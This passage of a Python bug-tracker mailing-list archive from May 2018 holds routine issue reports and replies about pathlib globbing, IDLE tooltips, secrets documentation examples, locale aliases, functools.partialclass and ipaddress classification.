years, we've had various requests to extend the functionality in all kinds of exotic ways (i.e. multi-level gets like s[5][1][3] or Tcl-like keyed-list chains). Some of those went far beyond the original scope, were non-harmonious with the current API, or ended-up needing more complex and complete solutions. Most of the requests were rarely accompanied by meaningful use cases. For example, the referenced python-ideas post only included toy examples and its sole expressed motivation was a half thought-out notion of consistency with getattr(). The consistency argument doesn't make much sense because the itemgetter() and attrgetter() API had already gone down a different road. The getattr() function only looks-up one attribute, while the itemgetter() and attrgetter() callable factories do multiple lookups such as attrgetter(lastname, firstname) or itemgetter(3, 8, 2). It isn't clear that a default argument would make sense for those cases, nor would it handle cases where only one field had a default value but the others did not (I expect this would likely be more common than having a meaningful default value for every field). Also, since multiple positional arguments are allowed, the default parameter would have to be a keyword argument (which isn't parallel with getattr()). IIRC, GvR at one time rejected a request for a list.get(index, default) method on the basis that it rarely made sense for indexed lookups; however, that seems very much like what is being proposed here for itemgetter(). Lastly, I'm concerned that every bit of extra functionality makes this API more complex (meaning harder to learn and remember) and makes it slower (undoing previous optimization efforts in order to speed-up its primary use cases for namedtuple() and as a key function). Even now, these APIs have are complex enough to where very fewer developers even know what functionality is already provided. Even Python experts won't immediately have correct interpretations for the likes of methodcaller('name', 'foo', bar=1) or itemgetter(slice(2,None))('ABCDEFG'). In both cases (both of which are documented), the code would be better-off with a plain lambda or def. ISTM that pushing the itemgetter/attrgetter/methodcaller API further would be a readability anti-pattern. If this does go forward, I think we should look for some actual use cases in real code to help inform the decision of whether this would be an net win or whether it would result in code that wouldn't pass a code review. ---------- assignee: rhettinger -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 02:23:00 2018 From: report at bugs.python.org (Brian Sheldon) Date: Sat, 05 May 2018 06:23:00 +0000 Subject: [issue33428] pathlib.Path.glob does not follow symlinks Message-ID: <1525501380.69.0.682650639539.issue33428@psf.upfronthosting.co.za> New submission from Brian Sheldon : Given a `pathlib.Path` that contains symlinked subfolders, `Path.glob` (and `.rglob`) do not follow symlinks. This is not consistent with `glob.glob` which does. For example given the following: C:\Folder C:\Folder\Subfolder -> D:\Subfolder D:\Subfolder\File.txt `pathlib.Path('C:/Folder').glob('**/*')` yields the following paths: WindowsPath('C:/Folder/Subfolder') `glob.glob('C:/Folder/**/*')` yields the following paths: 'C:/Folder\\Subfolder' 'C:/Folder\\Subfolder\\File.txt' Notice how the contents of Subfolder are present in the `glob.glob` results but not for `Path.glob`. I would expect `Path.glob` to be consistent with `glob.glob`. This is not the only inconsistency (e.g. #22276, #31202) and perhaps `Path.glob` should be re-implemented using `glob.glob`. ---------- components: Library (Lib), Windows messages: 316197 nosy: brianmsheldon, emilyemorehouse, paul.moore, pitrou, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: pathlib.Path.glob does not follow symlinks versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 02:35:07 2018 From: report at bugs.python.org (Stefan Behnel) Date: Sat, 05 May 2018 06:35:07 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525502107.86.0.682650639539.issue32797@psf.upfronthosting.co.za> Change by Stefan Behnel : ---------- type: -> behavior versions: +Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 02:48:21 2018 From: report at bugs.python.org (Brian Sheldon) Date: Sat, 05 May 2018 06:48:21 +0000 Subject: [issue33428] pathlib.Path.glob does not follow symlinks In-Reply-To: <1525501380.69.0.682650639539.issue33428@psf.upfronthosting.co.za> Message-ID: <1525502901.12.0.682650639539.issue33428@psf.upfronthosting.co.za> Change by Brian Sheldon : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 03:16:18 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 05 May 2018 07:16:18 +0000 Subject: [issue33429] IDLE tooltips stopped working between 2.7.14 and 2.7.15 Message-ID: <1525504578.56.0.682650639539.issue33429@psf.upfronthosting.co.za> New submission from Raymond Hettinger : When upgrading from 2.7.14 to 2.7.15 on MacOS, the tooltips have stopped showing up: >>> range( ^--- formerly a tooltip box would pop-up at this point ---------- assignee: terry.reedy components: IDLE messages: 316198 nosy: rhettinger, terry.reedy priority: normal severity: normal status: open title: IDLE tooltips stopped working between 2.7.14 and 2.7.15 type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 03:21:24 2018 From: report at bugs.python.org (Martin Panter) Date: Sat, 05 May 2018 07:21:24 +0000 Subject: [issue33411] All console message are in the error output in bash interpretor In-Reply-To: <1525271049.22.0.682650639539.issue33411@psf.upfronthosting.co.za> Message-ID: <1525504884.27.0.682650639539.issue33411@psf.upfronthosting.co.za> Martin Panter added the comment: The exception message and stack trace is documented to go to stderr: . Whether the prompt ?>>>? goes to stderr or stdout depends on quirks of the environment. Issue 1927 currently proposes to make it always go to stderr. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 03:34:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 07:34:51 +0000 Subject: [issue33429] IDLE tooltips stopped working between 2.7.14 and 2.7.15 In-Reply-To: <1525504578.56.0.682650639539.issue33429@psf.upfronthosting.co.za> Message-ID: <1525505691.29.0.682650639539.issue33429@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- components: +macOS nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 03:36:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 07:36:14 +0000 Subject: [issue33429] IDLE tooltips stopped working between 2.7.14 and 2.7.15 on MacOS In-Reply-To: <1525504578.56.0.682650639539.issue33429@psf.upfronthosting.co.za> Message-ID: <1525505774.27.0.682650639539.issue33429@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- title: IDLE tooltips stopped working between 2.7.14 and 2.7.15 -> IDLE tooltips stopped working between 2.7.14 and 2.7.15 on MacOS _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 04:54:12 2018 From: report at bugs.python.org (Daniel Chimeno) Date: Sat, 05 May 2018 08:54:12 +0000 Subject: [issue33430] Import secrets module in secrets examples Message-ID: <1525510452.55.0.682650639539.issue33430@psf.upfronthosting.co.za> New submission from Daniel Chimeno : In the secrets module documentation, the examples in `15.3.4. Recipes and best practices` need change things, I think this examples must run after a copy & paste into user terminal. Options for first example: 1: ```` import string from secrets import choice alphabet = string.ascii_letters + string.digits password = ''.join(choice(alphabet) for i in range(8)) ```` 2: ``` import string import secrets alphabet = string.ascii_letters + string.digits password = ''.join(secrets.choice(alphabet) for i in range(8)) ```` I've looked in the devguide, but I haven't found what's the standard approach here. First issue here, be nice :) ---------- assignee: docs at python components: Documentation messages: 316200 nosy: dchimeno, docs at python priority: normal severity: normal status: open title: Import secrets module in secrets examples type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 05:04:19 2018 From: report at bugs.python.org (Daniel Chimeno) Date: Sat, 05 May 2018 09:04:19 +0000 Subject: [issue33430] Import secrets module in secrets examples In-Reply-To: <1525510452.55.0.682650639539.issue33430@psf.upfronthosting.co.za> Message-ID: <1525511058.99.0.682650639539.issue33430@psf.upfronthosting.co.za> Daniel Chimeno added the comment: Relevant link: https://docs.python.org/3.7/library/secrets.html#recipes-and-best-practices ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 05:14:29 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 05 May 2018 09:14:29 +0000 Subject: [issue33430] Import secrets module in secrets examples In-Reply-To: <1525510452.55.0.682650639539.issue33430@psf.upfronthosting.co.za> Message-ID: <1525511669.86.0.682650639539.issue33430@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I've always expected that documentation for a module can assume that the module itself, and/or the function being described, has been imported. On the other hand, I have no objection to making this explicit, especially in the recipes section where it might not be as clear which functions come from the module and which are builtins. I'm inclined to go for your 2nd option, import the module and use a full-qualified name: password = ''.join(secrets.choice(alphabet) for i in range(8)) ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 05:15:48 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 05 May 2018 09:15:48 +0000 Subject: [issue33429] IDLE tooltips stopped working between 2.7.14 and 2.7.15 on MacOS In-Reply-To: <1525504578.56.0.682650639539.issue33429@psf.upfronthosting.co.za> Message-ID: <1525511748.97.0.682650639539.issue33429@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Tooltips still work fine on Windows and given Serhiy's edit, I presume the same is true on Linux. As far as I remember and have recorded in NEWS.txt, IDLE on 2.7 is unchanged for over a year, since sometime before 2.7.13 was released. It is too easy to break something and not notice. The IDLE tests, such as they are for 2.7, run without error. If you haven't, run IDLE from a terminal to see if any TclErrors or other exceptions get displayed. The immediately relevant files in idlelib, if you want to play with with debug prints, are CallTips.py and CallTipWindow.py. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 05:43:10 2018 From: report at bugs.python.org (Daniel Chimeno) Date: Sat, 05 May 2018 09:43:10 +0000 Subject: [issue33430] Import secrets module in secrets examples In-Reply-To: <1525510452.55.0.682650639539.issue33430@psf.upfronthosting.co.za> Message-ID: <1525513390.03.0.682650639539.issue33430@psf.upfronthosting.co.za> Change by Daniel Chimeno : ---------- keywords: +patch pull_requests: +6397 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 06:06:00 2018 From: report at bugs.python.org (lvhuiyang) Date: Sat, 05 May 2018 10:06:00 +0000 Subject: [issue33431] Change description about doc in programming, faq. Message-ID: <1525514760.53.0.682650639539.issue33431@psf.upfronthosting.co.za> Change by lvhuiyang : ---------- assignee: docs at python components: Documentation nosy: docs at python, lvhuiyang priority: normal severity: normal status: open title: Change description about doc in programming, faq. type: performance versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 06:13:53 2018 From: report at bugs.python.org (lvhuiyang) Date: Sat, 05 May 2018 10:13:53 +0000 Subject: [issue33431] Change description about doc in programming, faq. Message-ID: <1525515233.08.0.682650639539.issue33431@psf.upfronthosting.co.za> Change by lvhuiyang : ---------- keywords: +patch pull_requests: +6398 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 07:09:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 11:09:51 +0000 Subject: [issue32362] multiprocessing.connection.Connection misdocumented as multiprocessing.Connection In-Reply-To: <1513592247.3.0.213398074469.issue32362@psf.upfronthosting.co.za> Message-ID: <1525518591.32.0.682650639539.issue32362@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 4a1bc26832048325aecc01a4783a4984496d52d2 by Serhiy Storchaka (Bo Bayles) in branch '2.7': [2.7] bpo-32362: Fix references to non-existent multiprocessing.Connection() (GH-6223) (GH-6646) https://github.com/python/cpython/commit/4a1bc26832048325aecc01a4783a4984496d52d2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 07:22:06 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 11:22:06 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525434032.84.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: Serhiy Storchaka added the comment: > I'm not sure that this should be in the stdlib. The three-line function can be enough for your simple case, and it is too simple for including it in the stdlib. But for general stdlib quality solution it lacks many details. > > 1. It doesn't work with classes that implement the constructor as __new__, but not __init__. It may need of using metaclasses with overridden __call__. But how then handle classes with custom metaclasses? > > Can you illustrate how you would do it for these kinds of classes? I wouldn't try to implement the generic partialclass() at first place. But if I should, the possible code: ??? class PartialMeta(type(cls)): ??????? __call__ = partialmethod(type(cls).__call__, *args, **kwargs) ??? class PartialClass(cls, metaclass=PartialMeta): ??????? pass ??? return PartialClass Not sure it works. Another solution -- add a wrapped __new__, but __new__ and __init__ should be added only when they where defined in the original class or its parenthesis. There may be caveats with inheriting from some builtin classes. > Anyway, I think using __new__ on user classes is extremely rare. This is not good reason of not supporting them. The library function should support all corner cases. > 2. inspect.signature() doesn't give the correct signature as for partial(). This requires changing the inspect module. > > Good point. I can look into this. > > 3. pickling and copying of instances are broken in many cases. Pickling a class is always broken. I afraid that this can't be solved without significant reworking of the pickle and the copy modules. > > Okay, interesting, but this doesn't seem relevant to partialclass. If you generate a class, it should behave correctly. Otherwise you could just use partial(). > 4. It adds instance attributes __dict__ and __weakref__ even if they were disabled by using __slots__. This increases the size of instances and breaks some properties. > > Can we just copy the parent class' __slots__ to the partialclass return value? This is not so easy. You should add an empty __slots__ if the original class doesn't have __dict__ in instances. And testing that may be non-trivial task. > 6. Many alternate constructors and copying methods are broken. For example the copy() method of partialclass(defaultdict, list) in your example. There is no general solution of this, it should be solved individually for every class. > > Ultimately, if pickling works, then copying should work too. The usual way I do it is implementing __getnewargs__, etc. This should work fine? I meant the defaultdict.copy() method, not the copy module, > Should we discuss this on github? The bug tracker is the place for the design discussion. GitHub is a place for discussing implementation details. It looks to me that this should first be discussed on Python-ideas. You should convince core developers that it is worth to add this feature, and provide a plan of solving all implementation problems mentioned above. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 08:03:06 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 05 May 2018 12:03:06 +0000 Subject: [issue33429] IDLE tooltips stopped working between 2.7.14 and 2.7.15 on MacOS In-Reply-To: <1525504578.56.0.682650639539.issue33429@psf.upfronthosting.co.za> Message-ID: <1525521786.67.0.682650639539.issue33429@psf.upfronthosting.co.za> Change by Ned Deily : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Tooltip not display with macOS 64-bit installer 3.6.5 but work with macOS 64-bit/32-bit installer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 08:18:32 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Sat, 05 May 2018 12:18:32 +0000 Subject: [issue33432] No locale alias mapping key for en_IL Message-ID: <1525522712.55.0.682650639539.issue33432@psf.upfronthosting.co.za> New submission from Licht Takeuchi : The new locale en_IL is added to glibc. But there is no key for this in the locale alias mapping. https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=146ffc146fe3bf97cd3bc1a649f1ffa8acfa4a0d https://github.com/python/cpython/blob/master/Lib/locale.py#L850 The locale in latest Ubuntu 18.04 contains en_IL as valid locale, but Python cannot resolve this. This makes test failure in pandas. https://github.com/pandas-dev/pandas/issues/20957 ``` (pandas-dev) [pandas] locale -a C C.UTF-8 en_AG en_AG.utf8 en_AU.utf8 en_BW.utf8 en_CA.utf8 en_DK.utf8 en_GB.utf8 en_HK.utf8 en_IE.utf8 en_IL en_IL.utf8 en_IN en_IN.utf8 en_NG en_NG.utf8 en_NZ.utf8 en_PH.utf8 en_SG.utf8 en_US.utf8 en_ZA.utf8 en_ZM en_ZM.utf8 en_ZW.utf8 ja_JP.utf8 POSIX ``` ---------- components: Library (Lib) messages: 316206 nosy: licht-t priority: normal severity: normal status: open title: No locale alias mapping key for en_IL type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 08:41:23 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Sat, 05 May 2018 12:41:23 +0000 Subject: [issue33432] No locale alias mapping key for en_IL In-Reply-To: <1525522712.55.0.682650639539.issue33432@psf.upfronthosting.co.za> Message-ID: <1525524083.62.0.682650639539.issue33432@psf.upfronthosting.co.za> Change by Licht Takeuchi : ---------- keywords: +patch pull_requests: +6400 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 08:42:29 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 12:42:29 +0000 Subject: [issue33432] No locale alias mapping key for en_IL In-Reply-To: <1525522712.55.0.682650639539.issue33432@psf.upfronthosting.co.za> Message-ID: <1525524149.54.0.682650639539.issue33432@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is a duplicate of issue20087. The patch that adds an alias for en_IL was merged, but then reverted. ---------- nosy: +serhiy.storchaka resolution: -> duplicate stage: patch review -> resolved status: open -> closed superseder: -> Mismatch between glibc and X11 locale.alias _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:10:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 13:10:50 +0000 Subject: [issue32857] tkinter after_cancel does not behave correctly when called with id=None In-Reply-To: <1518787214.25.0.467229070634.issue32857@psf.upfronthosting.co.za> Message-ID: <1525525850.88.0.682650639539.issue32857@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 3a04598f63960e72025a91c682aec51b6b460413 by Serhiy Storchaka (Cheryl Sabella) in branch '2.7': bpo-32857: Raise error when tkinter after_cancel() is called with None. (GH-5701) (GH-6620) https://github.com/python/cpython/commit/3a04598f63960e72025a91c682aec51b6b460413 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:20:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 13:20:35 +0000 Subject: [issue32857] tkinter after_cancel does not behave correctly when called with id=None In-Reply-To: <1518787214.25.0.467229070634.issue32857@psf.upfronthosting.co.za> Message-ID: <1525526435.34.0.682650639539.issue32857@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:21:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 13:21:58 +0000 Subject: [issue32362] multiprocessing.connection.Connection misdocumented as multiprocessing.Connection In-Reply-To: <1513592247.3.0.213398074469.issue32362@psf.upfronthosting.co.za> Message-ID: <1525526518.1.0.682650639539.issue32362@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:24:37 2018 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 05 May 2018 13:24:37 +0000 Subject: [issue33296] datetime.datetime.utcfromtimestamp call decimal causes precision loss In-Reply-To: <1523956606.05.0.682650639539.issue33296@psf.upfronthosting.co.za> Message-ID: <1525526677.67.0.682650639539.issue33296@psf.upfronthosting.co.za> Dong-hee Na added the comment: Looks like this issue is related with bpo-23607. Since a decimal object is failed on PyFloat_Check(obj) of _PyTime_ObjectToDenominator, This regression bug is happened due to no chance to get float value from a Decimal object. https://bugs.python.org/issue23607 @serhiy.storchaka What do you think? ---------- nosy: +corona10, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:27:58 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Sat, 05 May 2018 13:27:58 +0000 Subject: [issue33432] No locale alias mapping key for en_IL In-Reply-To: <1525522712.55.0.682650639539.issue33432@psf.upfronthosting.co.za> Message-ID: <1525526878.28.0.682650639539.issue33432@psf.upfronthosting.co.za> Licht Takeuchi added the comment: en_IL has significant impact because this is English locale and now supported in the latest Ubuntu. Is there any plan to add only en_IL? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:32:26 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 13:32:26 +0000 Subject: [issue33296] datetime.datetime.utcfromtimestamp call decimal causes precision loss In-Reply-To: <1523956606.05.0.682650639539.issue33296@psf.upfronthosting.co.za> Message-ID: <1525527146.55.0.682650639539.issue33296@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think this issue is not just related to issue23607, but a duplicate of it. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Inconsistency in datetime.utcfromtimestamp(Decimal) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:33:39 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 13:33:39 +0000 Subject: [issue33432] No locale alias mapping key for en_IL In-Reply-To: <1525522712.55.0.682650639539.issue33432@psf.upfronthosting.co.za> Message-ID: <1525527219.8.0.682650639539.issue33432@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This should be discussed in issue20087. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:34:54 2018 From: report at bugs.python.org (Thomas Kriechbaumer) Date: Sat, 05 May 2018 13:34:54 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses Message-ID: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> New submission from Thomas Kriechbaumer : ipaddress.IPv4Address and ipaddress.IPv6Address provide a is_private function that indicates if the address (or network) is part of a "private" IP range, as designated by the IANA special-use registry. The current documentation is as follows: > is_private > True if the address is allocated for private networks. See iana-ipv4-special-registry (for IPv4) or iana-ipv6-special-registry (for IPv6). However, IPv4-mapped IPv6 addresses are currently being reported as "private" by this function (see https://github.com/python/cpython/commit/22c31764262b02338265a059c738b8d24fd9a0e4#diff-0fc57874e463b95dbdfe6f80ae918ea1R1869). I consider this a bug or at least counter-intuitive, because e.g. ::ffff:8.8.8.8 is most definitely NOT a private IP address, and yet the ipaddress.is_private function reports True. The IANA special-use registry does not contain any references to "being private" for the ::ffff region. It just designates it to be used for IPv4-mapped address. ---------- components: Library (Lib) messages: 316213 nosy: Thomas Kriechbaumer priority: normal severity: normal status: open title: ipaddress is_private misleading for IPv4 mapped IPv6 addresses versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 09:41:00 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Sat, 05 May 2018 13:41:00 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525527660.58.0.682650639539.issue20087@psf.upfronthosting.co.za> Licht Takeuchi added the comment: Hi all, The locale in the latest Ubuntu 18.04 contains en_IL as valid locale, but Python cannot resolve this. This makes test failure in pandas. https://github.com/pandas-dev/pandas/issues/20957 en_IL has significant impact because this is English locale and now supported in the latest Ubuntu. Is there any plan to add only en_IL? (Note that I've already created the PR. ( https://github.com/python/cpython/pull/6707 )) ``` (pandas-dev) [pandas] locale -a C C.UTF-8 en_AG en_AG.utf8 en_AU.utf8 en_BW.utf8 en_CA.utf8 en_DK.utf8 en_GB.utf8 en_HK.utf8 en_IE.utf8 en_IL en_IL.utf8 en_IN en_IN.utf8 en_NG en_NG.utf8 en_NZ.utf8 en_PH.utf8 en_SG.utf8 en_US.utf8 en_ZA.utf8 en_ZM en_ZM.utf8 en_ZW.utf8 ja_JP.utf8 POSIX ``` ---------- nosy: +licht-t _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 11:08:08 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 05 May 2018 15:08:08 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525532888.3.0.682650639539.issue33419@psf.upfronthosting.co.za> Nick Coghlan added the comment: Note that Neil did start with a python-ideas discussion, and was directed over here, since the idea seemed simple enough, and worth pursuing. As Serhiy notes though, there are many more subtleties to be addressed here than I first thought. That said, as long as __init__, __new__ and __slots__ are handled appropriately in the partial subclass, I think custom metaclasses should largely take care of themselves, so it would be better to avoid the compatibility implications of injecting an implicit metaclass. The slots case should be adequately handled by doing: if hasattr(cls, "__slots__"): __slots__ = () The __new__ case may have some quirks due to the fact it's technically implemented as an implicitly static method, but I *think* that can be covered by defining it as: if cls.__new__ is not object.__new__: __new__ = partialmethod(cls.__new__, *args, **kwds) and relying on the native class machinery to include the same kind of fixup that it applies for any other __new__ method implementation. __init__ will need a similar "has it been overridden?" check to the one in __new__ (comparing the unbound methods via "cls.__init__ is not object.__init__"). Some of the other issues that Serhiy mentions are real problems with the approach (like pickle compatibility, alternate constructor support, etc), but I think those can simply be noted in the documentation, with the following double-subclassing recipe noted as a suggested way of handling them: class MySubclass(partialclass(BaseClass, *args, **kwds)): ... # MySubclass supports pickle as it's reachable by name # Custom constructors can be overloaded as needed here (Note: if you're not seeing https://github.com/python/cpython/blob/master/Doc/whatsnew/3.8.rst locally, check that you're accidentally working on the 3.7 branch, instead of the master branch) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 11:22:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 15:22:57 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525533777.73.0.682650639539.issue20087@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6401 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 11:28:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 15:28:51 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525534131.14.0.682650639539.issue20087@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Benjamin's patch did two things: 1) made the glibc alias table taking precedence over the X11 one; 2) updated the alias mapping with new glibc. The first part is controversial, but updating the alias mapping with new glibc is made regularly. PR 6708 updates it with glibc 2.27. This adds 39 new aliases and fixes issue32781 and issue33432. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 12:07:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 16:07:35 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525536454.99.0.682650639539.issue33422@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset b2043bbe6034b53f5ad337887f4741b74b70b00d by Serhiy Storchaka (Andr?s Delfino) in branch 'master': bpo-33422: Fix quotation marks getting deleted when looking up byte/string literals on pydoc. (GH-6701) https://github.com/python/cpython/commit/b2043bbe6034b53f5ad337887f4741b74b70b00d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 12:07:45 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 05 May 2018 16:07:45 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525536465.36.0.682650639539.issue33422@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6402 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 12:08:42 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 05 May 2018 16:08:42 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525536522.31.0.682650639539.issue33422@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6403 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 12:42:59 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 05 May 2018 16:42:59 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525538579.28.0.682650639539.issue33422@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 351782b9927c610ff531100dbdcbbd19d91940a3 by Miss Islington (bot) in branch '3.7': bpo-33422: Fix quotation marks getting deleted when looking up byte/string literals on pydoc. (GH-6701) https://github.com/python/cpython/commit/351782b9927c610ff531100dbdcbbd19d91940a3 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 12:46:00 2018 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 05 May 2018 16:46:00 +0000 Subject: [issue33427] Dead link in "The Python Standard Library" page In-Reply-To: <1525489435.58.0.682650639539.issue33427@psf.upfronthosting.co.za> Message-ID: <1525538760.98.0.682650639539.issue33427@psf.upfronthosting.co.za> Change by Dong-hee Na : ---------- keywords: +patch pull_requests: +6404 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 13:12:21 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 05 May 2018 17:12:21 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525540341.54.0.682650639539.issue33422@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 0ba812b1bee65a6cad16f153a7f5074bc271e0e5 by Miss Islington (bot) in branch '3.6': bpo-33422: Fix quotation marks getting deleted when looking up byte/string literals on pydoc. (GH-6701) https://github.com/python/cpython/commit/0ba812b1bee65a6cad16f153a7f5074bc271e0e5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 13:16:40 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 05 May 2018 17:16:40 +0000 Subject: [issue31628] test_emails failure on FreeBSD In-Reply-To: <1506669614.14.0.213398074469.issue31628@psf.upfronthosting.co.za> Message-ID: 